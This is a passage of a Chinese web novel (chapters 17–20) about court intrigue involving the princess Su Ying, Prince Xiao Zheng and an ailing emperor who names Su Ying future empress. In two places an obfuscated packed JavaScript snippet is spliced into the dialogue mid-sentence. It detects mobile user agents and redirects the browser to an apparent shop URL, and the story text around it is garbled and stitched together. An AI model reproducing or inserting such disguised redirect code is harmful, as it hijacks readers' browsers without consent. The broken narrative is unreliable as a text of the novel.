趁萧征急着安抚她，身体离她最近之时，苏萦用只有他们两个人能听见的声音，快速地说道：“有还哥哥，若郭娑刚在你面前诋毁我，我只解释一句。” 萧征错愕地与她对视。 “我不会不知道一会儿陛下要来。” 电光火石之间，一切明朗。 苏萦在宫中长大，自然清楚父皇对明火的恐惧与禁忌，怎会在这样的时辰地点，冒着激怒父皇，殃及母后的风险，只为去欺负一个外乡人？ 萧征起身，向着郭娑主仆的席位，深深地望了一眼。 17. “赏明宫主子最是乖僻，喜怒无常。” 宝冉悄悄地把手背贴在空的细瓷碗上，用那点微凉勉强缓解伤处火辣辣的灼热。一抬头，刚还立在华容郡主桌前的永宁王不见了。 “郡主——” “一会儿宴席结束，我们快些离开。”郭娑沁着头，不动声色地叮嘱了她一句。 偷偷溜走到底没有那么顺利。 两人才匆匆起身，就听远处传来苏萦懒洋洋的一声唤：“郭姐姐留步！” 两人只好站住脚。 苏萦带着蜜合快步走近身前。 “还要多谢姐姐，劝永宁王过去安慰我啊。”苏萦眼眶鼻头才退了红，竟又是一副神采奕奕的神色：“我现在心情好过多了！可以好好地算一算你我的账。” 宝冉下意识往后退，蜜合已绕到后面笑盈盈地挡住了她。 “姐姐帮了我这么大的忙，我怎么谢姐姐好呢？”苏萦一步步逼上来，眨着无辜的大眼睛，忽然问道：“对了，姐姐这次从北漠来，带了几个侍女啊？” 郭娑下意识偏头瞥了宝冉一眼，宝冉直往她身后缩，不知这华容郡主葫芦里卖的什么药。 “不会就这一个吧？到了大朔，也没再增添？三嫂嫂真是粗心，让姐姐受这样的薄待。”苏萦打量着宝冉，冷哼一声：“姐姐别怪妹妹说话难听，你这一个，实在差的很。叫她收个东西都收不住，怎么当得好贴身婢女呢？” 她转向郭娑，语气十分关切似的：“今日是烧我的料子，明日若出点别的差错，耽误了姐姐的大事可怎么好？依我说，姐姐打发了她吧！” 她不等郭娑回应，便自顾自安排下去：“这样，妹妹另给你拣几个，四个怎么样？我宫里的侍女，都是母后为我精挑细选的。我定拣伶俐细致的给你，保证都比这个稳妥。姐姐远离故土，多几个人伺候总还舒服些。” 苏萦抬眼，水葱似的指尖一指宝冉：“你把这个粗心的交给我，让我来处置。我得好好审审她，怎么能笨到把那么重要的东西填到火里去！姐姐，你看行吗？” 郭娑脸色煞白，双手紧紧扶住宝冉的肩膀护住她：“郡主，宝冉与我情同姐妹，不是一般的下人奴才！” 苏萦等的就是她这句话。她微微倾身，声音压低，却藏着冰冷的锋芒：“姐姐，你这话我最认同不过了。宫里也有这样说法，主仆同心，上下一体。身边人自己出去，就代表着主人的脸面；跟在身边，就是主人的影子。” “可是姐姐，”她锐利的目光扫过宝冉，定格在郭娑脸上：“你的影子不听话，给你闯祸，让你丢脸了。姐姐若不及时换掉她，将来，兴许要吃大亏呢。” “妹妹何必因为这一点小事纠缠！宝冉的手伤成这样，难道是为了做戏给妹妹看吗？”郭娑惶急之下，拉过宝冉的手腕展示给苏萦看，宝冉屈辱地匆匆垂下目光。 “这是小事吗？”苏萦一摊手一耸肩：“可能真的算吧。不过郭姐姐运气不好，妹妹气量小的惊人。” “刚才妹妹实在是气坏了，宴席上没忍住落了泪，许多人都看见了，都来问了缘由。” “现在各宫里都在议论呢。她们说，不知道北漠王女究竟是什么目的，是真的不懂规矩呢，还是诚心想给我下马威。你说，姐姐，我该信谁的？” 她贴近郭娑身侧，悄声附耳道： “北漠王女，究竟是蠢，还是坏啊？” 郭娑骇然盯住苏萦的面庞。 苏萦的脸上此时挂着讳莫如深的笑容，眼中似有钩子要从她身上连皮带肉的刮下一块来。 与那日在玉栖宫中初见时，简直判若两人。 她这张人畜无害的小脸，原是最好的障眼法。 “…郡主真要问话，我们也是不怕的！”郭娑暗下狠心，让出宝冉来：“若我的侍女真有刻意损坏郡主心爱之物的心思，郡主随意处置便是！” 宝冉满眼惊慌，无措地望进她眼中。郭娑看向她的眼神中，不知是鼓励还是警告。 “呵？”苏萦轻笑：“姐姐同意了？宝冉姑娘，跟我们走一趟吧。” 宝冉满心忐忑，一步三回头地跟着蜜合往赏明宫去，郭娑惶惶然跟在后面，却见福熙殿前，有两顶小轿正候着。 “姐姐也跟我们一起去吧，我问话很快的。”苏萦回头笑着解释道：“怎么能让姐姐自己一个人先回去呢？那样显得妹妹太不周到了。” “我就在院内，等着郡主的消息。”郭娑强自镇定，还给宝冉递上一个安慰的眼神。宝冉心神不宁，也不知有没有注意到。 “那郡主自便吧。”苏萦进门前，朝院内的小丫头们示意：“给郡主上茶。放机灵些，别怠慢了郡主。” 小丫头们都喏喏应承。其实心里门儿清，这个季节不请进屋里坐着，就已经是彻头彻尾的怠慢了。 房中暖融融的，一个小火盆座在罗汉榻边上，宝冉僵硬地挪进房中，见了火盆下意识向后躲了躲。苏萦到罗汉榻上坐了，有个小丫头端了个汤婆子给她。 好一会儿没人管宝冉，姑娘们各忙着自己的事，由她自己束手束脚地站着。蜜合从柜里找出一个小陶罐子，到榻前递给苏萦。 陶罐子打开，紫红色的绵密的粉末，看着像香灰。 “过来。”苏萦招手叫宝冉近前，轻轻拉过她藏在袖子里的手，用小金匙子舀了一点香灰在她手上。 “不怕吗？” 苏萦一边低头在她伤处均匀地铺上香灰，一边平静地问，“没什么想对我说的吗？” 宝冉倔强地沉默。 苏萦也不在意，继续慢悠悠地地问：“你看她刚才的样子，是真想护着你吗？她若真视你如姐妹，会让你做这等事，受这等伤？” 宝冉十分敏感，猛地把手抽回：“不劳郡主费心！奴婢卑贱，用不起您的东西！” 苏萦抬起头看她，微微挑了下眉。 “宝冉姑娘，你原是兀良合部的公主？我们大朔的皇后，也曾是库伦部的公主。你怎么沦落到去伺候人了？” 宝冉没想到这大朔郡主竟打探到了她的底细，自尊十分受伤，紧咬着牙关，眼泪都涌了出来，却还强撑着一甩头，别过脸去：“郡主，人各有命，宝冉现在，就只是个烫伤了只配用香灰的奴才。过去的事，还请郡主不要提了。” 苏萦听了她的话，诧异地轻笑一声，把小陶罐递给蜜合：“快把这上不得台面的香灰扔出去，给宝冉姑娘拿一盒烫伤药膏来。” 蜜合接过来，苦笑着看了宝冉一眼，出去了。没多一会儿，拿着个密封好的小白瓷瓶回来。 苏萦打开给宝冉看，里面是黄澄澄的油润的药膏，浓郁的一股香油的味道。 “用这个行吗？”苏萦递给宝冉：“自己厚厚的敷一层吧。记得伤处这几日千万别碰水。” 宝冉半信半疑地接了，十分小心地用手指蘸出一点儿，底下用另一个手接着，不让油滴在榻边的大地毯上。 “我对你好不好？”苏萦故意吓唬她：“这要在你们那边，是不是该抓你出去抽鞭子了？” 宝冉惊恐地瑟缩了一下。 苏萦见她吓得一缩脖子，自己顽皮地嘻嘻笑。宝冉又觉得很受侮辱，但用了人家的药，又不好发作。 “要想少吃苦头，原也不难。这大朔皇宫里，有一页下人们传抄的“保命符”，宝冉姑娘没事也抄一份回去看看，再告诉告诉你家主子，省得再弄巧成拙。” 蜜合不知什么时候备好了，还真从怀里掏出一张小纸，摊开来放在桌上。 这是宫中秘辛，宝冉目光闪躲不好意思细看，苏萦却热情地要帮她忙，手指轻点一处，指给她看：“喏，我在这儿呢。” “赏明宫主子最是乖僻，喜怒无常。”她轻轻念出声来。 宝冉与苏萦对视，见她笑盈盈的，莫测的神色，看得她狠狠打了个哆嗦，像又被烫了一下。 “你坐一会儿，我给你拿好吃的。”苏萦朝蜜合一抬下巴：“就上回母后赏的那些。” 吃食拿进来，是风干牛肉和奶疙瘩。 宝冉确实饿了，宴席上可没她吃东西的份儿。 趁她小心翼翼地吃东西，苏萦和蜜合随口说：“小厨房给你热饭了吗？快去吃吧。这儿有宝冉陪我呢。” 蜜合很不信任地溜了宝冉一眼，微笑说：“奴婢换朱樱进来。” 苏萦也没反驳，想想又吩咐：“让孙姑姑给我再做一份。刚才把我气的，什么都没吃。” 宝冉尴尬地停下咀嚼。 “你吃你的。”苏萦抱着双臂，俯身到小几上好奇地看她吃东西，苦着小脸问：“你们真爱吃这些呀？母后爱吃这个，我觉得不大好嚼。” “一会儿 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宗雀头凑到那人耳边，小声叮嘱：“我给你上的这药，叫降真香，南洋来的，专给皇上寝殿里点的呢。我主子这儿，要次货还真拿不出来。就这么一小罐，值五十两银子。一会儿你可把衣裳裹好了，别让御前那几个狗鼻子闻见了。那些个老家伙最识货，要让他们发现了你用这么好的药，你这小命又难保了。” 郭娑悄悄退回，正赶上朱樱送宝冉出来。 “宝冉！”郭娑忙迎上来，扶着宝冉的双肩细细打量：“华容郡主有没有刁难你？” “郡主这说的哪里话？”朱樱小脸儿一掉，冷声道：“出宫的轿子想必在门外等着了，郡主请吧！” “华容郡主没有刁难奴婢。”宝冉目光躲闪，不好意思让郭娑看她包扎好的双手：“…只给奴婢伤处掸了点香灰。” 郭娑眼尖，一眼瞥见了，宝冉的手上竟也敷着一层紫红色的香粉。 她心中震撼，表面上却还不动声色。主仆二人一齐出了赏明宫。 朱樱朝她们的背影瞪了一眼，过去掩了大门，回到苏萦房中去。 “郡主，那主仆二人走了。”朱樱一进门皱着眉头问：“咱们就这么放过她们了？” “不然呢？还狠狠欺负她们一通啊？”苏萦坐在榻上吃饭，满不在乎地随口反问。 “郡主，奴婢去把那料子搬出来看看，兴许裁一裁补一补，还够做一件短衣裳的。”朱樱嘴上安慰苏萦，心里都替主子委屈：郡主从小到大，要什么好料子没有？为这么一匹不起眼的费了这么大周章，临了还让火烧坏了，白忙了这一大场。 想到这儿，又十分不忿，嘟哝道：“那个北漠郡主，真是坏透了！” “没有吧。”苏萦搅着吹着碗里的热粥：“她的丫头还忠心，说明人还没坏透。” 她抬头看看朱樱不解的表情，笑着解释：“她要是真坏透了，身边就没人了。” 朱樱听得懵懵懂懂，只出门把那烧焦的盒子搬了进来。她把盒子放得远远的，不忍心让苏萦看见。 蜜合过来，帮她打开搭钮。 盒子一掀，朱樱双眼簌地一亮。盒子外面都烧成那样了，里衬竟完好无损。展开布料细细检查一番，朱樱惊喜地大叫起来：“郡主，一点儿也没坏！” 回头一看苏萦洞若观火的得意神色，朱樱恍然大悟：“郡主，你早就知道料子没坏！” “难怪郡主那天晚上让奴婢换盒子装它。”蜜合也朝苏萦了然一笑。 苏萦这才咯咯笑出声来。 “谁能想到有人要烧它呢？我当时不过是想把有还哥哥的礼物放个妥当地方。” “我爹说，卖东西给人家的时候，货物的品质要好，货物运输的安全更要保证，这样才有信誉，买家才会一次又一次地信你。” 苏萦走上前来，摩挲着盒中看似不起眼的深色衬布：“我爹十八岁那年研制出的这种布料材质，赢了当年朝廷的布料遴选，现在，也还是御供做官服的。水泼不进，火烧不着。” “我爹说，当官的有金光正气护体——” 她想象着那主仆俩懊恼狼狈的模样，得意地抬抬眉毛： “——魑魅魍魉，不得近身。” 18. “你这个礼物，母后很喜欢。” 养心殿中一片静谧，架上搁着的玉质香炉中飘出袅袅烟气。 萧征正紧张地盯着给萧弘德把脉的太医，试图从他脸上的细微表情辨别出父皇真实的身体状况。 “寄远啊，回去歇着吧。”萧弘德笑着徐徐开口，欣慰望向坐在下首的小儿子。 萧征心中莫名一酸。 前世生命的最后几年，他在荒凉的山野间彷徨，茫然孤寂，无所事事。 他歇的实在够多了。 “儿子不累。父皇，让儿子再多陪您一会儿吧。”萧征微笑着抬头，趁机端详父亲的面容。他不是医者，也能看出父皇的脸色透着苍白灰暗。北漠的丸药，终归是治标不治本，还需趁早想别的法子。 只是前世，不明就里，稀里糊涂的让父皇下了葬，不知病因为何，死因又为何，今生全无抓手。当年飞奔到灵堂中，看见的父皇的遗容究竟是怎样的？隔着眼前一层水雾，又隔着二十五年的光阴，全然模糊了。 太医沉吟片刻，对萧弘德说道：“陛下容禀。依脉象来看，圣体并无大碍，只是脉息略显虚浮无力，此乃劳神过度、气血亏耗之象。臣请为陛下开具几副安神定志、调养元气的方剂，平日静心颐养为宜。至于陛下日常服用的补益之药，仍当按时进服，以固根本。” 他略作停顿，又补充道：“陛下乃万金之躯，还望善加珍摄，勿要过度操劳。” 这听起来实在没什么特别的。萧征狐疑地望了太医一眼，也没看出什么异样来。 太医退出去不多一会儿，步皇后走了进来。 “阿曼！”萧弘德亲昵地叫她：“瞧瞧咱们的好儿子，在这儿陪了朕一整天了。那个小的呢？不知道野到哪儿去了！” 步皇后笑着说：“庆儿那孩子，虽比不得征儿这般沉稳懂事，倒也有对陛下的一片孝心呢。他念叨着父皇近日操劳，听人说野物滋补，今早就兴冲冲地领着人往围猎场去了，说是要亲自猎些新鲜野味给父皇补补身子。臣妾看他那风风火火的样子，真是孩子气，陛下可别怪他莽撞。” “好啊，好！”萧弘德爽朗一笑：“朕的皇后最是教子有方。” “诶，那个小苏萦跑哪儿去了？好像好些日子没见着她了。”萧弘德转向萧征：“昨日你母后寿宴，她来了吗？” “…来了。只是席上人多，未能近前向父皇问安。”萧征目光闪烁，匆匆遮掩过去。 “那个丫头！”萧弘德轻笑一声，感叹道：“苏予夺还真是有福气。朕有十七，十八？个公主，没一个像她那么活泼漂亮的。” 其实是二十个。 萧征与母亲无奈地偷笑着悄悄交换了一个眼神。 “阿曼，把朕的护心丹拿过来吧。太医说，这药还是要接着吃。”萧弘德坐起身来，接过步皇后递来的丸药，和水吞服。 “太医院那些个吃闲饭的，也不知道给朕开的药有用没用。”服药之后，萧弘德捂着胸口皱了皱眉头：“朕倒觉得，这药是越吃身子越差。” 萧征警觉，一瞥母亲手上拿着的细口瓷瓶。 “父皇的护心丹，能否给儿臣一粒？” “你这么小的孩子，用不着吃这个！”萧弘德不明缘由，哈哈大笑着摆摆手。 “儿子好奇呢，陛下就赏他一粒。”步皇后在旁柔声细语地帮衬萧征。 步皇后听苏萦提起过，萧征在敌营重伤昏迷，苏萦用银针刺他指尖穴位，挤出瘀血，才清醒过来。她也担心孩子小小年纪心脉受损，可是几次三番提议让太医过来给他诊诊，都被萧征推辞了。 “既有你母亲说情，就拿一粒给你看看。”萧弘德从瓷瓶中倒出一粒来随手交到他手上：“不过，药可不能乱吃，是药三分毒！” 萧征接了，点头应承。 “陛下，华容郡主求见。”内侍在珠帘外禀告。 “这小丫头，才说起她呢。传。”萧弘德一挥手。 苏萦进到房中来。一见到她，房中三人都是一愣。 “这是哪里来的小蛮子？”萧弘德粗声粗气地笑着问。 苏萦竟是一身南濮打扮，彩衣彩帽，一双黑地绣花鞋，一身装扮色彩纷呈，背心，围裙，袄袖和膝盖处都纹绣着繁复艳丽的图案，帽上火棘果子一般垂下几串蓝色绒球。 “陛下，娘娘，我穿这一身好看吗？”苏萦笑嘻嘻地转了个圈，彩裙旋开，绒球跳跃，像个精致的人偶。 “怪模怪样的。”萧弘德忍俊不禁：“从哪儿淘了这么一身装扮？” “料子是征儿给她买的。”未等苏萦回答，步皇后先笑着接口，目光意味深长地扫过自己的儿子。 萧弘德揶揄的目光立刻钉在萧征脸上：“是吗征儿？” “啊，”萧征下意识回避，目光低垂，视线却正好落在苏萦帽边还在微微晃动的蓝色绒球上，那点子毛绒绒的蓝色，好像顽皮地在他心尖搔了一下，痒得他浑身不自在。 他喉结微动，匆匆起身，借着拱手低头的动作掩饰失态，极力使自己语速平稳：“儿臣，儿臣忽然记起，庆弟今早出发前，央儿臣下午去猎场接他呢。请父皇、母后准儿臣先行告退。” 说完，也不等帝后细究，倒退几步便转身出了殿门，仿佛身后有什么在追他。 步皇后望着儿子“落荒而逃”的背影，再瞧瞧眼前这打扮得花儿似的、还兀自笑得天真烂漫的苏萦，不由地摇头失笑。 这傻小子，耳根子都羞红了。 萧征退出房门，突然福至心灵，回头朝架上香炉望了一眼。 炉顶的烟气像苏萦帽顶的串球一样分叉成几股。 分灵香，主矛盾蹊跷。 他捻了捻刚藏在袖中的丸药，目光从苏萦的背影上匆匆带过，转回头向太医院走去。 “你这小丫头，就光顾着自己爱美，将来大朔若需潜进南濮探听消息，你还不给朕多做几套来，做卧底之用？”房内，萧弘德笑眯眯地打趣苏萦。 “这当然好啦！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799168|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”苏萦两眼一亮：“只不过这南濮的布料不易得，华容回去就写信，让父亲进几匹料子快马送到京城！” “你可别学你父亲，办事太过张扬！”萧弘德闻言苦笑：“朕随口一说，此事不急。你也不必写信了，朕已经下旨召嘉裕侯回京，不出三日，你就可以见到你父母了。” 步皇后注意到，听到“父母回京”，苏萦脸上一点波澜也没有。 这么小的孩子，就已经失望过太多次了。 “好啊，陛下何时需要，只管吩咐华容，我叫我那些绣娘们做十套百套也是能的。衣裳我快快的做，陛下的身体也要快快的好起来！” “成天就知道指使你那些绣娘，什么时候学着自己动手做女红?”萧弘德话音未落，就瞥见苏萦不服气的小表情，嫌弃道：“瞧瞧，朕还没说完呢，小嘴儿就噘起来了！这宫里除了你华容郡主，还有谁敢跟朕摆脸色？” 苏萦一听这话，忙软绵绵地跪了，蠕蠕膝行过来，帽子上的小绒球呼嗒呼嗒乱撞，蹭到萧弘德腿边，笑嘻嘻地赔礼：“陛下，华容知错了！陛下最宽容最大度，一定不会跟华容一个小笨丫头一般见识的！陛下大人有大量，就饶华容这一回吧！” 萧弘德无奈地指着苏萦向步皇后说：“你瞧瞧你教出来这个小蜜罐子，这小嘴儿真跟抹了蜜似的，最会讨好卖乖！” 步皇后笑着没作声。 “快起来，地上凉！”萧弘德又故意摆出凶巴巴的严肃表情：“ 你最近乖乖待在宫里不要惹事，若是表现的好，过几日朕送你一份大礼！” “陛下要赏东西给我！”苏萦惊喜地抬起头来：“华容先谢过陛下了！” “瞧瞧，瞧瞧，这小嘴儿又乐的合不拢了。去吧，过几日，你自然就知道了。” “多谢陛下！那华容就先告退了！”苏萦兴高采烈地起身，身上衣饰繁复，布料硬挺，心情又欢快，起身出门的几步路跑得踉踉跄跄。 “这冒冒失失的，别跌了她！”萧弘德无奈地笑。 步皇后也忍俊不禁，起身道：“臣妾去看看她。”随后跟了上去。 两人一前一后出门，床前只余年迈的皇帝。 他望着空荡的门前呆怔，脸上这才渐渐浮现出苍凉的悲伤。 殿外，步皇后在身后追上苏萦。 “未晚！”步皇后赶上前来，苏萦也停住脚。 “你这个礼物，母后很喜欢。” “啊，母后，那块孔雀石基底太小啦！”苏萦以为说的是她昨日送的，步皇后当时看也没看一眼的嵌珠宝蓬莱仙境盆景，小眉头不禁皱起来：“设计草图还是我画的。本来想送母后一块大的，摆在花厅里，可惜前些日子没找到又大又好的孔雀石，只好先做个袖珍盆景，给母后看着玩玩了。” “那不是母后最喜欢的生辰礼。”步皇后摇摇头，细细打量着苏萦身上别致的衣裳，讳莫如深地微笑： “这才是母后最喜欢的生辰礼。” 19. “聪明的小猫不会和母亲生分。” 内廷西街上，宫人们贴着红墙根儿低着头步履匆匆，实在有要紧事，两个头凑在一起，切切察察一两句，赶忙分开，不敢稍作逗留。 前几日才叫火盆烫伤了肚皮的小内侍正一心赶路，余光却瞥见一个身影鬼鬼祟祟在转角处徘徊。 “呀，华容郡主！”看清了来人，小内侍赶忙招呼：“前日多亏了郡主——” “嘘。”苏萦笑着竖起食指抵到唇边，朝他使了个眼色低声道：“快走吧。” 小内侍忙一矮身从旁绕过去，加快了脚步，暗骂自己没有眼色。 苏萦躲在角落，静静地望着眼前的大路。 这些年，她习惯了在这儿看着。这地方，又隐蔽，又近到可以看清爹娘的脸。再近些就不行了，奶娘就要抓她回去了。 不知等了多久，总算远远的有几个人朝这边走来。她先认出走在前面引路的周公公和翠雀姑姑，紧接着就看到身后随行的爹和娘，舅舅和舅母。 心中一块大石头落了地，她倚墙懒懒地看着。 搁在小时候，她早飞出去迎了。 飞出去之后呢？就是离别前死命扯着他们胳膊的手，哭得头都昏了，泪眼中望向他们的一步一回头的背影。她为他们哭的够了。 爹爹和舅舅穿着大红官服，看不清母亲穿的什么，大概和舅母穿的差不多。 她很为母亲不值。母亲凭什么不能和父亲舅舅，和那群男人一同上殿呢？母亲为大朔领兵打了十年的仗，耽搁到三十岁才生下了她。母亲若是个男子，官做的一定比舅舅还大。 舅舅听爹爹的，母亲也听爹爹的。两个乔家人的脸都转向苏予夺，严肃地听他滔滔不绝地高谈阔论。她不知道，明明爹爹官位最低，乔统领和乔将军怎么都这样满脸信服地看着他，等着他口若悬河地出些馊主意。 爹爹是大腹便便的中年人了，还像个孩子一样满脑子新鲜想法，多亏了娘和舅舅陪着他折腾。分明陛下和朝中的很多大臣，都是瞧不起爹爹的。 爹爹是一张笑面，说什么都像是正打心眼儿里得意，细长的狐狸眼睛里闪着光。母后说，有时候她想使坏的时候眼睛眯起来，和她爹爹最像了。 苏萦顶讨厌人说她像爹爹。就好像在说她也和爹爹一样，是那个混在一群要人堆里耍宝的小丑。 一会儿，他们就要兵分两路，周公公会引着父亲和舅舅往养心殿去，翠雀姑姑会带着母亲和舅母到玉栖宫去。等轮到来看她的时候，天就差不多黑了。 小时候，偷听到伺候她的婆子抱怨，说她脾气不好，一点耐心也没有，最讨厌的就是等。可她自己知道，她入宫近十年，做的最多的事就是等。 她看着他们走远了，自己转身往回走去。 养心殿内，檀香氤氲，却驱不散那股沉疴已久的药味。年迈的帝王萧弘德在堂上正襟危坐，眼窝深陷，面色蜡黄，病容难掩。 御前总管躬身引着魏国公乔望津与嘉裕侯苏予夺入内，二人恭敬跪拜。 “臣，乔望津/苏予夺，叩见陛下。” “免礼，看座。”萧弘德的声音沙哑疲惫，目光缓缓扫过堂下二人。 乔望津身形挺拔，眉宇间锁着化不开的忧虑，谢恩后只坐了半边椅子，腰背挺得笔直，双手规整地置于膝上，姿态是一贯的谨慎小心，一板一眼。 相较之下，苏予夺则显得松弛许多。他谢恩落座，姿态从容，甚至对着皇帝露出了一个惯常的，带着几分顽童般狡黠的笑容，仿佛眼前并非沉重压抑的帝王寝殿，而是某个可以闲话家常的茶室。 “你们二人可知，朕急召你们入宫，所为何事？”萧弘德开门见山，浑浊的目光锐利如鹰。 乔望津神色一凛，沉声道：“陛下龙体欠安，召臣等前来，必有要事吩咐。臣等谨遵圣谕。” 苏予夺却笑了笑，语气轻松得近乎不合时宜：“陛下，想必您近日过于操劳，龙颜都憔悴了些。若需臣去给您寻什么灵丹妙药，仙草奇葩，您尽管开口，这世上，暂时还没有臣弄不来的东西。” 俏皮话才说完，就遭了身侧的内兄狠狠一记眼刀。 萧弘德缓缓摇头，脸上挤出一丝无奈：“朕知道，这世上若论办事之能，少有及得上你苏予夺的。只是，朕的身体，朕自己心里知道。药石罔效，不必再徒劳了。” 此言一出，殿内空气骤然凝固。乔望津猛地抬头，眼中尽是震惊与痛色，嘴唇翕动，似想劝谏，却被帝王抬手止住。 苏予夺心中一动，目光敏捷地一扫，正瞧见御案一角静静搁置着一个明黄绸缎包裹的长条盒匣，此刻显得异常醒目。 萧弘德的目光在两位重臣脸上逡巡，最终定格，带着托付江山的沉重，一字一句道：“今日召二位爱卿前来，是为身后事。朕若大行，十七皇子萧征继位。” 他略作停顿，深吸一口气，说出了石破天惊的旨意： “新帝登基之日，即立华容郡主苏萦为后。若他日皇后诞下皇子，当即立为太子，昭告天下，终生不得废黜。” 这最后一句，他咬字极重，如同金石坠地，在寂静的殿中激起无声的回响。随即，他伸手，将御案上那只明黄盒匣向前稍稍推移。上面的龙纹刺绣鲜亮清晰，透着不容置疑的权威。 “此乃朕亲笔所书，加盖传国玉玺的赐婚诏书。”萧弘德的声音带着最后的决断：“一式两份，一份存于宫中宗庙，另一份——苏卿，由你苏家保管。此诏，便是铁律，是新后地位的保障，亦是我大朔未来国本所系。” “见此诏如见朕，望尔等谨记。” 乔望津已然惊得深深俯首。苏予夺脸上那玩世不恭的笑容也终于敛去，变得神色郑重。 萧弘德的目光最后落在苏予夺身上，带着无限的期许与一丝不易察觉的恳求：“苏卿，乔卿。大朔的将来，与新君的安危，朕就托付给你们了。苏乔两家，务必好好辅佐新君。” 苏予夺与乔望津对视一眼，同时离座，撩袍跪倒，以头触地，声音铿锵坚定，掷地有声： “臣等，谨遵圣命！为陛下，为新君，赴汤蹈火，在所不辞！” 苏予夺抬起头，眼中戏谑全无，只留一片忠诚与担当，沉声道：“陛下放心，只要臣有一口气在，必护得新君与诏书所定之后，周全无恙。” 萧弘德看着苏予夺郑重的神色，知他已领会其中深意，紧绷的心弦微微一松，挥了挥手。 “如此…朕便安心了。去吧。” 苏予夺起身，上前一步，极其庄重地双手捧起那只沉甸甸的盒匣，如同捧起大朔未来的半壁江山，与乔望津躬身退出了养心殿。 殿门缓缓合上，将一位帝王最后的布局与期望，隔绝在内。 他不知这步棋，他下得对与不对。叔父在世时，总说他是个臭棋篓子。他当时不屑，想叔父是个未卜先知的“半仙”，任何凡人与他下棋，一子未落，胜负已分。谁人在他眼中，不是个臭棋篓子？ 可是，叔父，你不是平白无故，把这姑娘养在你生前的寝宫里的吧？ 侄儿这次，做对了吗？ 赏明宫的花园里，少有的显得荒凉沉寂。秋日的最后一批鲜花也过了花期，螃蟹菊垂头丧气地低下了头，枝头的桂花也稀落了。 萧征在一排依然翠绿的冬青树后寻到苏萦。 树后原来藏着一窝小猫，苏萦正背对着他坐在地上，专心致志地喂它们鱼干吃。猫崽们太小，她很耐心地把鱼干逐一掰碎，托在手心里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她专注的语气突然停下，转向萧征：“你是怀疑，谁给陛下的香料里下了毒？” 萧征不置可否，只是神情微动。 苏萦心领神会，自然地行动开来。萧征没有出声，只是默默地上前为她递上所需的香料瓶罐。苏萦用一把小巧的银秤称量，在温热的瓷片上烘焙，再细细研磨混合。她的动作行云流水，全身心沉浸其中，仿佛普天之下只剩下她与眼前的香。 晚霞透过窗棂照在女孩专注的表情上，萧征心中一动。前世苏萦彻夜整理证据为他翻案时，也正是这样的专注。 时间就在这静谧而专注的香气中悄然流逝。 苏萦将新配出的香粉一点点堆进云母隔片，上炉熏品对比之后，恍然抬头：“果真是有些偏差。可是，少了什么呢？” “我的本领有限，我让我父亲去查一查这香料的来源。宫里用的所有香材，都是外头来的，他一定都查得到来路。兴许这调香之人是谁，他也能摸出来呢——哎呀，什么时辰了？” 她猛然望向窗外渐暗的天色，黯然呢喃道：“太晚了。他们这个时辰应该已经走了。” “没有，宫宴酉时才开始。要不要一起过去？” 萧征的嘴角，此时才勾起一丝微不可察的笑意。 苏萦一怔，不可置信道：“你骗我！” “哪次他们来，你不是要人三请四请。不过，我也记得，可哪一次，你最后也都去了。” “走吧。”萧征起身，把那香粉重新包好，递给苏萦：“拿去亲手交给你父亲。对小猫有求必应的大猫，想必没有和小猫生分吧。” 20. “你爹就是这样。” 晚上是家宴，规模更小，只设在皇后的玉栖宫里。 菜品不过如常。萧弘德是从不在苏予夺面前摆阔的。他能拿得出的好东西，保不齐都是从苏予夺手里过了一过的。 依苏萦看，什么都和她进宫那日一样，设宴的地点，参宴的人。结果也会是一样，爹娘走了，把她独自扔在宫里。 本以为长大了，就不会在意这些，看到母亲的一瞬间，眼眶还是红了。 “娘！”她扑过去搂紧母亲的胳膊，依偎在母亲肩膀上。 “未晚，大姑娘了，还跟你娘撒娇呢！”舅母打趣她。 舅母越说，苏萦越是笑着把脑袋往母亲颈窝里拱。母亲也轻轻侧过头抚摸她的脸颊，触感那样别致而又熟悉，是母亲手掌上常年持枪握剑的茧。 母亲和舅母都是习武的。四十几岁的人了，还身姿挺拔，双目炯炯，话音中气十足。舅母修长高挑，母亲的身形较她矮了一截子。可苏萦此刻搂着的，也是一条健壮结实的手臂，让她心里莫名地踏实。 “未晚也是大了，小时候，一见面总要先哭一场，现在也不了。”舅母看着她们母女俩亲昵，欣慰一笑。 “才十四岁，怎么大了，我们未晚小着呢，正是该跟娘撒娇的年纪呢。”母亲把她拢进怀里，轻轻地拍着晃着，缱绻地呢喃。 “你我才认识的时候，我多大？”舅母皱着眉头想了一刻，双眼一亮：“正是十四岁。那时候，舅母胆子可大了，敢跟你娘翘课逃学，偷跑出宫去玩。咱们未晚，还没出过宫呢吧？” 苏萦朝留在外间的萧征身上溜了一眼，小眼珠咕噜咕噜乱转，小小声地答：“没有。” “像她爹爹，爱骗人。”母亲明察秋毫，嗔怪地斜了她一眼，在她额头上戳了一指头。苏萦很心虚地做了个鬼脸，嘴上却还不服：“我才不像爹爹！” “真的，咱们未晚胆子也这么大？”舅母更向前探了探，眼中闪过顽皮得意的神色：“不愧是我采生的，就是像我。” “还好意思说呢！”母亲挖了舅母一眼，两手捂住苏萦的耳朵佯怒：“未晚，别听你舅母胡说啊，把我们好好儿的姑娘教坏了！” 苏萦歪在母亲怀里咯咯笑。 萧征坐在外间等候，此刻很有些尴尬，里间女眷们的嬉笑打闹声听得分明。母后去卧房里更衣，父皇和萧庆也不知何时能到，眼前两位朝中重臣，见了礼，落了座，便都一言不发。 “永宁王真是出落得一表人才啊。”嘉裕侯突然赞许地开口，转向魏国公：“大哥，你说是不是？” “苏侯谬赞了。”萧征俯首，诚惶诚恐。 